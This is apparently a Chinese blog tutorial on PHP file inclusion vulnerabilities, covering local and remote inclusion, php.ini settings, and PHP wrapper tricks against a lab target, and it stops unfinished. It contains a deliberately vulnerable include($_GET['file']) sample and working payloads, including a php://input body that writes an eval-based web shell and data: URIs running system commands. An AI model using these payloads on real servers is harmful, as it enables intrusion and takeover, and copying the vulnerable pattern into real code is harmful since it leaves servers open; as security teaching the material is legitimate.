网络安全与渗透:文件包含漏洞(十一)此生无悔入华夏,男儿何不带吴钩

 

中华人民共和国网络安全法

阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf
 


 

简介

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
 
 

PHP通常引发此漏洞的函数

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞常用场景

  • 具有相关文件包含函数
  • 文件包含函数中存在动态变量 如include $file;
  • 攻击者能够控制该变量 比如: f i l e = file= file=_GET[‘file’];
  • 常见的如:file page 等参数
     
     

相关配置介绍

php配置文件

php.ini 是php的配置文件,里面包含了众多配置,在php启动的时候被读取。自php3.5起,php支持每个目录的.htaccess风格的ini文件。此类文件仅被CDI/FASTCGI SAPI处理。如果使用apache,则用.htaccess文件同样效果。
以下是一些常见配置:

  • short_open_tag = on 允许php使用短标签,如用 <? 代替 <?php,可利用短标签绕过waf
  • disable_classes= /disable_functions= 禁用类/函数 可接收逗号分隔的函数名列表作为参数
  • file_uploads = on 设置允许上传
  • upload_max_filesize = 8m 最大允许上传多大的内容
  • upload_tmp_dir 上传临时文件保存的目录,且这个目录可写
  • allow_url_fopen = on 是否允许打开远程文件,该项打开,就能够利用上面的函数远程包含文件
     
     

本地文件包含 LFI

当被包含的文件在服务器本地时,就形成本地文件包含
假如服务器存在一个include.php文件,其代码如下:

<?php
	$file=$_GET['file'];
	include $file;
?>

那么就可以从浏览器上反问一些服务器敏感路径:如下:
在这里插入图片描述
在linux系统下就可以访问etc下面的内容,危害十分巨大。
当然,我们也可以将file参数指向我们上一篇博文中的图片木马,从而完全渗透到服务器。
 
 

远程文件包含 RFI

当被包含的文件在第三方服务器时,叫做远程文件包含。
前提条件,需要php设置两个参数

  • allow_url_fopen = on
  • allow_url_include = on 允许包含url对象文件等

这里开启一个本地的php服务,并写一个phpinfo的文件,也可以是一句话木马,然后远程包含
效果如下
在这里插入图片描述
 
 

PHP伪协议包含

php://input

它是可以访问请求的原始数据的只读流,简单来说就是,获取post传过去的数据
利用条件只有:
allow_url_include = on
利用方式:
index.php?file=php://input
POST:

<?php phpinfo();?> <?php system('ipconfig');?> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

下面来演示一下
1.将上面的include.php文件放在文件漏洞靶场第一关目录下,如下图
在这里插入图片描述
然后在浏览器中访问,如下图,
在这里插入图片描述

php://filter

我们一般用它来读取源码,一般用base64先编码,再解码
利用方式
index.php?page=php://filter/read=convert.base64-encode/resource=file1.php
index.php?page=php://filter/read=convert.base64-decode/resource=file1.php
下面演示一下:
首先还是在浏览器中访问
在这里插入图片描述
粘贴内容,在线解码:https://base64.us/
可以看到php源码内容
在这里插入图片描述

phar://

这个是利用压缩包读取内容的方式执行木马
利用条件,php版本低于5.3.0

首先创建一个文件test.txt 然后在里面写入<?php phpinfo();?>,或者一句话木马,然后压缩成一个test.zip, 通过文件上传等方式将这个压缩包上传到服务器。
在浏览器中这样访问:http://192.168.10.40/upload-labs-master/Pass-01/include.php?file=pchar://压缩包路径/test.txt
如果include.php和压缩包不在一个目录,可以利用…/找到压缩包的目录

类似它的还有: zip://压缩包绝对路径%23文件名称

data:url schema

利用条件:

  1. php版本大于5.2
  2. allow_url_include = on
  3. allow_url_fopen = on

利用方式:

include.php?file=data:text/plain,<?php phpinfo();?>
include.php?file=data:text/plain,<?php system('whoami');?>

 
 

通过session文件包含getshell

未完待续。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值